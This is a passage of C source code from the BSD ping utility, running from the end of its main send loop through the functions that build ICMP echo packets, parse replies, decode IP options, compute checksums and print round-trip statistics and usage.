            if (sweepmax && sntransmitted == snpackets) {
                for (i = 0; i < sweepincr ; ++i) 
                    *datap++ = i;
                datalen += sweepincr;
                if (datalen > sweepmax)
                    break;
                send_len = icmp_len + datalen;
                sntransmitted = 0;
            } 
            if (!npackets || ntransmitted < npackets)
                pinger();
            else {
                if (almost_done)
                    break;
                almost_done = 1;
                intvl.tv_usec = 0;
                if (nreceived) {
                    intvl.tv_sec = 2 * tmax / 1000;
                    if (!intvl.tv_sec)
                        intvl.tv_sec = 1;
                } else {
                    intvl.tv_sec = waittime / 1000;
                    intvl.tv_usec = waittime % 1000 * 1000;
                }
            }
            (void)gettimeofday(&last, NULL);
            if (ntransmitted - nreceived - 1 > nmissedmax) {
                nmissedmax = ntransmitted - nreceived - 1;
                if (options & F_MISSED)
                    (void)write(STDOUT_FILENO, &BBELL, 1);
                if (!(options & F_QUIET))
                    printf("Request timeout for icmp_seq %ld\n", ntransmitted - 2);
            }
        }
    }
    finish();
    /* NOTREACHED */
    exit(0);    /* Make the compiler happy */
}



/*
 * stopit --
 *  Set the global bit that causes the main loop to quit.
 * Do NOT call finish() from here, since finish() does far too much
 * to be called from a signal handler.
 */
void
stopit(sig)
    int sig __unused;
{

    /*
     * When doing reverse DNS lookups, the finish_up flag might not
     * be noticed for a while.  Just exit if we get a second SIGINT.
     */
    if (!(options & F_NUMERIC) && finish_up)
        _exit(nreceived ? 0 : 2);
    finish_up = 1;
}

/*
 * pinger --
 *  Compose and transmit an ICMP ECHO REQUEST packet.  The IP packet
 * will be added on by the kernel.  The ID field is our UNIX process ID,
 * and the sequence number is an ascending integer.  The first TIMEVAL_LEN
 * bytes of the data portion are used to hold a UNIX "timeval" struct in
 * host byte-order, to compute the round-trip time.
 */
static void
pinger(void)
{
    struct timeval now;
    struct tv32 tv32;
    struct ip *ip;
    struct icmp *icp;
    int cc, i;
    u_char *packet;

    packet = outpack;
    icp = (struct icmp *)outpack;
    icp->icmp_type = icmp_type;
    icp->icmp_code = 0;
    icp->icmp_cksum = 0;
    icp->icmp_seq = htons(ntransmitted);
    icp->icmp_id = ident;           /* ID */

    CLR(ntransmitted % mx_dup_ck);

    if ((options & F_TIME) || timing) {
        (void)gettimeofday(&now, NULL);

        tv32.tv32_sec = htonl(now.tv_sec);
        tv32.tv32_usec = htonl(now.tv_usec);
        if (options & F_TIME)
            icp->icmp_otime = htonl((now.tv_sec % (24*60*60))
                * 1000 + now.tv_usec / 1000);
        if (timing)
            bcopy((void *)&tv32,
                (void *)&outpack[ICMP_MINLEN + phdr_len],
                sizeof(tv32));
    }

    cc = ICMP_MINLEN + phdr_len + datalen;

    /* compute ICMP checksum here */
    icp->icmp_cksum = in_cksum((u_short *)icp, cc);

    if (options & F_HDRINCL) {
        cc += sizeof(struct ip);
        ip = (struct ip *)outpackhdr;
        ip->ip_len = cc;
        ip->ip_sum = in_cksum((u_short *)outpackhdr, cc);
        packet = outpackhdr;
    }
    i = sendto(s, (char *)packet, cc, 0, (struct sockaddr *)&whereto,
        sizeof(whereto));

    if (i < 0 || i != cc)  {
        if (i < 0) {
            if (options & F_FLOOD && errno == ENOBUFS) {
                usleep(FLOOD_BACKOFF);
                return;
            }
            warn("sendto");
        } else {
            warn("%s: partial write: %d of %d bytes",
                 hostname, i, cc);
        }
    }
    ntransmitted++;
    sntransmitted++;
    if (!(options & F_QUIET) && options & F_FLOOD)
        (void)write(STDOUT_FILENO, &DOT, 1);
}

/*
 * pr_pack --
 *  Print out the packet, if it came from us.  This logic is necessary
 * because ALL readers of the ICMP socket get a copy of ALL ICMP packets
 * which arrive ('tis only fair).  This permits multiple copies of this
 * program to be run without having intermingled output (or statistics!).
 */
static void
pr_pack(buf, cc, from, tv)
    char *buf;
    int cc;
    struct sockaddr_in *from;
    struct timeval *tv;
{
    struct in_addr ina;
    u_char *cp, *dp;
    struct icmp *icp;
    struct ip *ip;
    const void *tp;
    double triptime;
    int dupflag, hlen, i, j, recv_len, seq;
    static int old_rrlen;
    static char old_rr[MAX_IPOPTLEN];

    /* Check the IP header */
    ip = (struct ip *)buf;
    hlen = ip->ip_hl << 2;
    recv_len = cc;
    if (cc < hlen + ICMP_MINLEN) {
        if (options & F_VERBOSE)
            warn("packet too short (%d bytes) from %s", cc,
                 inet_ntoa(from->sin_addr));
        return;
    }

    /* Now the ICMP part */
    cc -= hlen;
    icp = (struct icmp *)(buf + hlen);
    if (icp->icmp_type == icmp_type_rsp) {
        if (icp->icmp_id != ident)
            return;         /* 'Twas not our ECHO */
        ++nreceived;
        triptime = 0.0;
        if (timing) {
            struct timeval tv1;
            struct tv32 tv32;
#ifndef icmp_data
            tp = &icp->icmp_ip;
#else
            tp = icp->icmp_data;
#endif
            tp = (const char *)tp + phdr_len;

            if (cc - ICMP_MINLEN - phdr_len >= sizeof(tv1)) {
                /* Copy to avoid alignment problems: */
                memcpy(&tv32, tp, sizeof(tv32));
                tv1.tv_sec = ntohl(tv32.tv32_sec);
                tv1.tv_usec = ntohl(tv32.tv32_usec);
                tvsub(tv, &tv1);
                triptime = ((double)tv->tv_sec) * 1000.0 +
                    ((double)tv->tv_usec) / 1000.0;
                tsum += triptime;
                tsumsq += triptime * triptime;
                if (triptime < tmin)
                    tmin = triptime;
                if (triptime > tmax)
                    tmax = triptime;
            } else
                timing = 0;
        }

        seq = ntohs(icp->icmp_seq);

        if (TST(seq % mx_dup_ck)) {
            ++nrepeats;
            --nreceived;
            dupflag = 1;
        } else {
            SET(seq % mx_dup_ck);
            dupflag = 0;
        }

        if (options & F_QUIET)
            return;
    
        if (options & F_WAITTIME && triptime > waittime) {
            ++nrcvtimeout;
            return;
        }

        if (options & F_FLOOD)
            (void)write(STDOUT_FILENO, &BSPACE, 1);
        else {
            (void)printf("%d bytes from %s: icmp_seq=%u", cc,
               inet_ntoa(*(struct in_addr *)&from->sin_addr.s_addr),
               seq);
            (void)printf(" ttl=%d", ip->ip_ttl);
            if (timing)
                (void)printf(" time=%.3f ms", triptime);
            if (dupflag) {
                if (!IN_MULTICAST(ntohl(whereto.sin_addr.s_addr)))
                    (void)printf(" (DUP!)");
            }
            if (options & F_AUDIBLE)
                (void)write(STDOUT_FILENO, &BBELL, 1);
            if (options & F_MASK) {
                /* Just prentend this cast isn't ugly */
                (void)printf(" mask=%s",
                    pr_addr(*(struct in_addr *)&(icp->icmp_mask)));
            }
            if (options & F_TIME) {
                (void)printf(" tso=%s", pr_ntime(icp->icmp_otime));
                (void)printf(" tsr=%s", pr_ntime(icp->icmp_rtime));
                (void)printf(" tst=%s", pr_ntime(icp->icmp_ttime));
            }
            if (recv_len != send_len) {
                            (void)printf(
                     "\nwrong total length %d instead of %d",
                     recv_len, send_len);
            }
            /* check the data */
            cp = (u_char*)&icp->icmp_data[phdr_len];
            dp = &outpack[ICMP_MINLEN + phdr_len];
            cc -= ICMP_MINLEN + phdr_len;
            i = 0;
            if (timing) {   /* don't check variable timestamp */
                cp += TIMEVAL_LEN;
                dp += TIMEVAL_LEN;
                cc -= TIMEVAL_LEN;
                i += TIMEVAL_LEN;
            }
            for (; i < datalen && cc > 0; ++i, ++cp, ++dp, --cc) {
                if (*cp != *dp) {
    (void)printf("\nwrong data byte #%d should be 0x%x but was 0x%x",
        i, *dp, *cp);
                    (void)printf("\ncp:");
                    cp = (u_char*)&icp->icmp_data[0];
                    for (i = 0; i < datalen; ++i, ++cp) {
                        if ((i % 16) == 8)
                            (void)printf("\n\t");
                        (void)printf("%2x ", *cp);
                    }
                    (void)printf("\ndp:");
                    cp = &outpack[ICMP_MINLEN];
                    for (i = 0; i < datalen; ++i, ++cp) {
                        if ((i % 16) == 8)
                            (void)printf("\n\t");
                        (void)printf("%2x ", *cp);
                    }
                    break;
                }
            }
        }
    } else {
        /*
         * We've got something other than an ECHOREPLY.
         * See if it's a reply to something that we sent.
         * We can compare IP destination, protocol,
         * and ICMP type and ID.
         *
         * Only print all the error messages if we are running
         * as root to avoid leaking information not normally
         * available to those not running as root.
         */
#ifndef icmp_data
        struct ip *oip = &icp->icmp_ip;
#else
        struct ip *oip = (struct ip *)icp->icmp_data;
#endif
        struct icmp *oicmp = (struct icmp *)(oip + 1);

        if (((options & F_VERBOSE) && uid == 0) ||
            (!(options & F_QUIET2) &&
             (oip->ip_dst.s_addr == whereto.sin_addr.s_addr) &&
             (oip->ip_p == IPPROTO_ICMP) &&
             (oicmp->icmp_type == ICMP_ECHO) &&
             (oicmp->icmp_id == ident))) {
            (void)printf("%d bytes from %s: ", cc,
            pr_addr(from->sin_addr));
            pr_icmph(icp);
        } else
            return;
    }

    /* Display any IP options */
    cp = (u_char *)buf + sizeof(struct ip);

    for (; hlen > (int)sizeof(struct ip); --hlen, ++cp)
        switch (*cp) {
        case IPOPT_EOL:
            hlen = 0;
            break;
        case IPOPT_LSRR:
        case IPOPT_SSRR:
            (void)printf(*cp == IPOPT_LSRR ?
                "\nLSRR: " : "\nSSRR: ");
            j = cp[IPOPT_OLEN] - IPOPT_MINOFF + 1;
            hlen -= 2;
            cp += 2;
            if (j >= INADDR_LEN &&
                j <= hlen - (int)sizeof(struct ip)) {
                for (;;) {
                    bcopy(++cp, &ina.s_addr, INADDR_LEN);
                    if (ina.s_addr == 0)
                        (void)printf("\t0.0.0.0");
                    else
                        (void)printf("\t%s",
                             pr_addr(ina));
                    hlen -= INADDR_LEN;
                    cp += INADDR_LEN - 1;
                    j -= INADDR_LEN;
                    if (j < INADDR_LEN)
                        break;
                    (void)putchar('\n');
                }
            } else
                (void)printf("\t(truncated route)\n");
            break;
        case IPOPT_RR:
            j = cp[IPOPT_OLEN];     /* get length */
            i = cp[IPOPT_OFFSET];       /* and pointer */
            hlen -= 2;
            cp += 2;
            if (i > j)
                i = j;
            i = i - IPOPT_MINOFF + 1;
            if (i < 0 || i > (hlen - (int)sizeof(struct ip))) {
                old_rrlen = 0;
                continue;
            }
            if (i == old_rrlen
                && !bcmp((char *)cp, old_rr, i)
                && !(options & F_FLOOD)) {
                (void)printf("\t(same route)");
                hlen -= i;
                cp += i;
                break;
            }
            old_rrlen = i;
            bcopy((char *)cp, old_rr, i);
            (void)printf("\nRR: ");
            if (i >= INADDR_LEN &&
                i <= hlen - (int)sizeof(struct ip)) {
                for (;;) {
                    bcopy(++cp, &ina.s_addr, INADDR_LEN);
                    if (ina.s_addr == 0)
                        (void)printf("\t0.0.0.0");
                    else
                        (void)printf("\t%s",
                             pr_addr(ina));
                    hlen -= INADDR_LEN;
                    cp += INADDR_LEN - 1;
                    i -= INADDR_LEN;
                    if (i < INADDR_LEN)
                        break;
                    (void)putchar('\n');
                }
            } else
                (void)printf("\t(truncated route)");
            break;
        case IPOPT_NOP:
            (void)printf("\nNOP");
            break;
        default:
            (void)printf("\nunknown option %x", *cp);
            break;
        }
    if (!(options & F_FLOOD)) {
        (void)putchar('\n');
        (void)fflush(stdout);
    }
}

/*
 * in_cksum --
 *  Checksum routine for Internet Protocol family headers (C Version)
 */
u_short
in_cksum(addr, len)
    u_short *addr;
    int len;
{
    int nleft, sum;
    u_short *w;
    union {
        u_short us;
        u_char  uc[2];
    } last;
    u_short answer;

    nleft = len;
    sum = 0;
    w = addr;

    /*
     * Our algorithm is simple, using a 32 bit accumulator (sum), we add
     * sequential 16 bit words to it, and at the end, fold back all the
     * carry bits from the top 16 bits into the lower 16 bits.
     */
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }

    /* mop up an odd byte, if necessary */
    if (nleft == 1) {
        last.uc[0] = *(u_char *)w;
        last.uc[1] = 0;
        sum += last.us;
    }

    /* add back carry outs from top 16 bits to low 16 bits */
    sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
    sum += (sum >> 16);         /* add carry */
    answer = ~sum;              /* truncate to 16 bits */
    return(answer);
}

/*
 * tvsub --
 *  Subtract 2 timeval structs:  out = out - in.  Out is assumed to
 * be >= in.
 */
static void
tvsub(out, in)
    struct timeval *out, *in;
{

    if ((out->tv_usec -= in->tv_usec) < 0) {
        --out->tv_sec;
        out->tv_usec += 1000000;
    }
    out->tv_sec -= in->tv_sec;
}

/*
 * status --
 *  Print out statistics when SIGINFO is received.
 */

static void
status(sig)
    int sig __unused;
{

    siginfo_p = 1;
}

static void
check_status()
{

    if (siginfo_p) {
        siginfo_p = 0;
        (void)fprintf(stderr, "\r%ld/%ld packets received (%.1f%%)",
            nreceived, ntransmitted,
            ntransmitted ? nreceived * 100.0 / ntransmitted : 0.0);
        if (nreceived && timing)
            (void)fprintf(stderr, " %.3f min / %.3f avg / %.3f max",
                tmin, tsum / (nreceived + nrepeats), tmax);
        (void)fprintf(stderr, "\n");
    }
}

/*
 * finish --
 *  Print out statistics, and give up.
 */
static void
finish()
{

    (void)signal(SIGINT, SIG_IGN);
    (void)signal(SIGALRM, SIG_IGN);
    (void)putchar('\n');
    (void)fflush(stdout);
    (void)printf("--- %s ping statistics ---\n", hostname);
    (void)printf("%ld packets transmitted, ", ntransmitted);
    (void)printf("%ld packets received, ", nreceived);
    if (nrepeats)
        (void)printf("+%ld duplicates, ", nrepeats);
    if (ntransmitted) {
        if (nreceived > ntransmitted)
            (void)printf("-- somebody's printing up packets!");
        else
            (void)printf("%.1f%% packet loss",
                ((ntransmitted - nreceived) * 100.0) /
                ntransmitted);
    }
    if (nrcvtimeout)
        (void)printf(", %ld packets out of wait time", nrcvtimeout);
    (void)putchar('\n');
    if (nreceived && timing) {
        double n = nreceived + nrepeats;
        double avg = tsum / n;
        double vari = tsumsq / n - avg * avg;
        (void)printf(
            "round-trip min/avg/max/stddev = %.3f/%.3f/%.3f/%.3f ms\n",
            tmin, avg, tmax, sqrt(vari));
    }

    if (nreceived)
        exit(0);
    else
        exit(2);
}

#ifdef notdef
static char *ttab[] = {
    "Echo Reply",       /* ip + seq + udata */
    "Dest Unreachable", /* net, host, proto, port, frag, sr + IP */
    "Source Quench",    /* IP */
    "Redirect",     /* redirect type, gateway, + IP  */
    "Echo",
    "Time Exceeded",    /* transit, frag reassem + IP */
    "Parameter Problem",    /* pointer + IP */
    "Timestamp",        /* id + seq + three timestamps */
    "Timestamp Reply",  /* " */
    "Info Request",     /* id + sq */
    "Info Reply"        /* " */
};
#endif

/*
 * pr_icmph --
 *  Print a descriptive string about an ICMP header.
 */
static void
pr_icmph(icp)
    struct icmp *icp;
{

    switch(icp->icmp_type) {
    case ICMP_ECHOREPLY:
        (void)printf("Echo Reply\n");
        /* XXX ID + Seq + Data */
        break;
    case ICMP_UNREACH:
        switch(icp->icmp_code) {
        case ICMP_UNREACH_NET:
            (void)printf("Destination Net Unreachable\n");
            break;
        case ICMP_UNREACH_HOST:
            (void)printf("Destination Host Unreachable\n");
            break;
        case ICMP_UNREACH_PROTOCOL:
            (void)printf("Destination Protocol Unreachable\n");
            break;
        case ICMP_UNREACH_PORT:
            (void)printf("Destination Port Unreachable\n");
            break;
        case ICMP_UNREACH_NEEDFRAG:
            (void)printf("frag needed and DF set (MTU %d)\n",
                    ntohs(icp->icmp_nextmtu));
            break;
        case ICMP_UNREACH_SRCFAIL:
            (void)printf("Source Route Failed\n");
            break;
        case ICMP_UNREACH_FILTER_PROHIB:
            (void)printf("Communication prohibited by filter\n");
            break;
        default:
            (void)printf("Dest Unreachable, Bad Code: %d\n",
                icp->icmp_code);
            break;
        }
        /* Print returned IP header information */
#ifndef icmp_data
        pr_retip(&icp->icmp_ip);
#else
        pr_retip((struct ip *)icp->icmp_data);
#endif
        break;
    case ICMP_SOURCEQUENCH:
        (void)printf("Source Quench\n");
#ifndef icmp_data
        pr_retip(&icp->icmp_ip);
#else
        pr_retip((struct ip *)icp->icmp_data);
#endif
        break;
    case ICMP_REDIRECT:
        switch(icp->icmp_code) {
        case ICMP_REDIRECT_NET:
            (void)printf("Redirect Network");
            break;
        case ICMP_REDIRECT_HOST:
            (void)printf("Redirect Host");
            break;
        case ICMP_REDIRECT_TOSNET:
            (void)printf("Redirect Type of Service and Network");
            break;
        case ICMP_REDIRECT_TOSHOST:
            (void)printf("Redirect Type of Service and Host");
            break;
        default:
            (void)printf("Redirect, Bad Code: %d", icp->icmp_code);
            break;
        }
        (void)printf("(New addr: %s)\n", inet_ntoa(icp->icmp_gwaddr));
#ifndef icmp_data
        pr_retip(&icp->icmp_ip);
#else
        pr_retip((struct ip *)icp->icmp_data);
#endif
        break;
    case ICMP_ECHO:
        (void)printf("Echo Request\n");
        /* XXX ID + Seq + Data */
        break;
    case ICMP_TIMXCEED:
        switch(icp->icmp_code) {
        case ICMP_TIMXCEED_INTRANS:
            (void)printf("Time to live exceeded\n");
            break;
        case ICMP_TIMXCEED_REASS:
            (void)printf("Frag reassembly time exceeded\n");
            break;
        default:
            (void)printf("Time exceeded, Bad Code: %d\n",
                icp->icmp_code);
            break;
        }
#ifndef icmp_data
        pr_retip(&icp->icmp_ip);
#else
        pr_retip((struct ip *)icp->icmp_data);
#endif
        break;
    case ICMP_PARAMPROB:
        (void)printf("Parameter problem: pointer = 0x%02x\n",
            icp->icmp_hun.ih_pptr);
#ifndef icmp_data
        pr_retip(&icp->icmp_ip);
#else
        pr_retip((struct ip *)icp->icmp_data);
#endif
        break;
    case ICMP_TSTAMP:
        (void)printf("Timestamp\n");
        /* XXX ID + Seq + 3 timestamps */
        break;
    case ICMP_TSTAMPREPLY:
        (void)printf("Timestamp Reply\n");
        /* XXX ID + Seq + 3 timestamps */
        break;
    case ICMP_IREQ:
        (void)printf("Information Request\n");
        /* XXX ID + Seq */
        break;
    case ICMP_IREQREPLY:
        (void)printf("Information Reply\n");
        /* XXX ID + Seq */
        break;
    case ICMP_MASKREQ:
        (void)printf("Address Mask Request\n");
        break;
    case ICMP_MASKREPLY:
        (void)printf("Address Mask Reply\n");
        break;
    case ICMP_ROUTERADVERT:
        (void)printf("Router Advertisement\n");
        break;
    case ICMP_ROUTERSOLICIT:
        (void)printf("Router Solicitation\n");
        break;
    default:
        (void)printf("Bad ICMP type: %d\n", icp->icmp_type);
    }
}

/*
 * pr_iph --
 *  Print an IP header with options.
 */
static void
pr_iph(ip)
    struct ip *ip;
{
    u_char *cp;
    int hlen;

    hlen = ip->ip_hl << 2;
    cp = (u_char *)ip + 20;     /* point to options */

    (void)printf("Vr HL TOS  Len   ID Flg  off TTL Pro  cks      Src      Dst\n");
    (void)printf(" %1x  %1x  %02x %04x %04x",
        ip->ip_v, ip->ip_hl, ip->ip_tos, ntohs(ip->ip_len),
        ntohs(ip->ip_id));
    (void)printf("   %1lx %04lx",
        (u_long) (ntohl(ip->ip_off) & 0xe000) >> 13,
        (u_long) ntohl(ip->ip_off) & 0x1fff);
    (void)printf("  %02x  %02x %04x", ip->ip_ttl, ip->ip_p,
                                ntohs(ip->ip_sum));
    (void)printf(" %s ", inet_ntoa(*(struct in_addr *)&ip->ip_src.s_addr));
    (void)printf(" %s ", inet_ntoa(*(struct in_addr *)&ip->ip_dst.s_addr));
    /* dump any option bytes */
    while (hlen-- > 20) {
        (void)printf("%02x", *cp++);
    }
    (void)putchar('\n');
}

/*
 * pr_addr --
 *  Return an ascii host address as a dotted quad and optionally with
 * a hostname.
 */
static char *
pr_addr(ina)
    struct in_addr ina;
{
    struct hostent *hp;
    static char buf[16 + 3 + MAXHOSTNAMELEN];

    if ((options & F_NUMERIC) ||
        !(hp = gethostbyaddr((char *)&ina, 4, AF_INET)))
        return inet_ntoa(ina);
    else
        (void)snprintf(buf, sizeof(buf), "%s (%s)", hp->h_name,
            inet_ntoa(ina));
    return(buf);
}

/*
 * pr_retip --
 *  Dump some info on a returned (via ICMP) IP packet.
 */
static void
pr_retip(ip)
    struct ip *ip;
{
    u_char *cp;
    int hlen;

    pr_iph(ip);
    hlen = ip->ip_hl << 2;
    cp = (u_char *)ip + hlen;

    if (ip->ip_p == 6)
        (void)printf("TCP: from port %u, to port %u (decimal)\n",
            (*cp * 256 + *(cp + 1)), (*(cp + 2) * 256 + *(cp + 3)));
    else if (ip->ip_p == 17)
        (void)printf("UDP: from port %u, to port %u (decimal)\n",
            (*cp * 256 + *(cp + 1)), (*(cp + 2) * 256 + *(cp + 3)));
}

static char *
pr_ntime (n_time timestamp)
{
    static char buf[10];
    int hour, min, sec;

    sec = ntohl(timestamp) / 1000;
    hour = sec / 60 / 60;
    min = (sec % (60 * 60)) / 60;
    sec = (sec % (60 * 60)) % 60;

    (void)snprintf(buf, sizeof(buf), "%02d:%02d:%02d", hour, min, sec);

    return (buf);
}

static void
fill(bp, patp)
    char *bp, *patp;
{
    char *cp;
    int pat[16];
    u_int ii, jj, kk;

    for (cp = patp; *cp; cp++) {
        if (!isxdigit(*cp))
            errx(EX_USAGE,
                "patterns must be specified as hex digits");

    }
    ii = sscanf(patp,
        "%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x%2x",
        &pat[0], &pat[1], &pat[2], &pat[3], &pat[4], &pat[5], &pat[6],
        &pat[7], &pat[8], &pat[9], &pat[10], &pat[11], &pat[12],
        &pat[13], &pat[14], &pat[15]);

    if (ii > 0)
        for (kk = 0; kk <= maxpayload - (TIMEVAL_LEN + ii); kk += ii)
            for (jj = 0; jj < ii; ++jj)
                bp[jj + kk] = pat[jj];
    if (!(options & F_QUIET)) {
        (void)printf("PATTERN: 0x");
        for (jj = 0; jj < ii; ++jj)
            (void)printf("%02x", bp[jj] & 0xFF);
        (void)printf("\n");
    }
}

#if defined(IPSEC) && defined(IPSEC_POLICY_IPSEC)
#define SECOPT      " [-P policy]"
#else
#define SECOPT      ""
#endif
static void
usage()
{

    (void)fprintf(stderr, "%s\n%s\n%s\n%s\n%s\n%s\n%s\n%s\n",
"usage: ping [-AaDdfnoQqRrv] [-b boundif] [-c count] [-G sweepmaxsize] [-g sweepminsize]",
"            [-h sweepincrsize] [-i wait] [-l preload] [-M mask | time] [-m ttl]",
"           " SECOPT " [-p pattern] [-S src_addr] [-s packetsize] [-t timeout]",
"            [-W waittime] [-z tos] host",
"       ping [-AaDdfLnoQqRrv] [-c count] [-I iface] [-i wait] [-l preload]",
"            [-M mask | time] [-m ttl]" SECOPT " [-p pattern] [-S src_addr]",
"            [-s packetsize] [-T ttl] [-t timeout] [-W waittime]",
"            [-z tos] mcast-group");
    exit(EX_USAGE);
}
